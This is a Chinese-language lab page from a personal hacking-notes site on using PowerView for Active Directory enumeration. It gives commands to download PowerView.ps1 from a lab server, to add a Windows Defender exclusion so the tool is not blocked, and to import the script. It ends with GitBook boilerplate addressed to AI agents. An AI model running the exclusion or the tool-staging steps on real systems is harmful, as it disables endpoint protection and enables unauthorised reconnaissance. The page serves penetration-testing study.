> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/enumeration/powerview.md).

# PowerView

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### PowerView 的用途

**PowerView** 是一个用于 Active Directory 枚举的 PowerShell 模块。

具体而言，它允许你检索以下信息：

* 域用户；
* 组；
* 计算机；
* 活动会话；
* 网络共享；
* 组策略对象（GPO）；
* 访问控制列表（ACL）；
* 域控制器；
* 林和域关系。

在本实验中：

* 在 `WS01`，我们使用 **PowerView**;
* 在 `WS02`，我们改用原生 PowerShell 命令或 Active Directory 模块。

### PowerView 获取

我们从以下位置获取脚本： **PowerSploit** 项目：

```bash
PowerSploit/Recon/PowerView.ps1
```

在 Windows 主机上，你可以使用以下命令下载它：

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### Windows Defender 的问题

默认情况下， **Windows Defender** 可以阻止 `PowerView.ps1`，因为它经常被检测为攻击性工具。

在实验环境中，你可以将当前文件夹添加为排除项。

在 PowerShell 管理员模式下运行：

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

然后，我们导入 PowerView：

```powershell
. ./PowerView.ps1
```

句点后跟一个空格会将脚本函数加载到当前 PowerShell 会话中。

<figure><img src="/files/067f8a6d3f4b559d28c26e636bf4a0a3bc08a79e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/enumeration/powerview.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
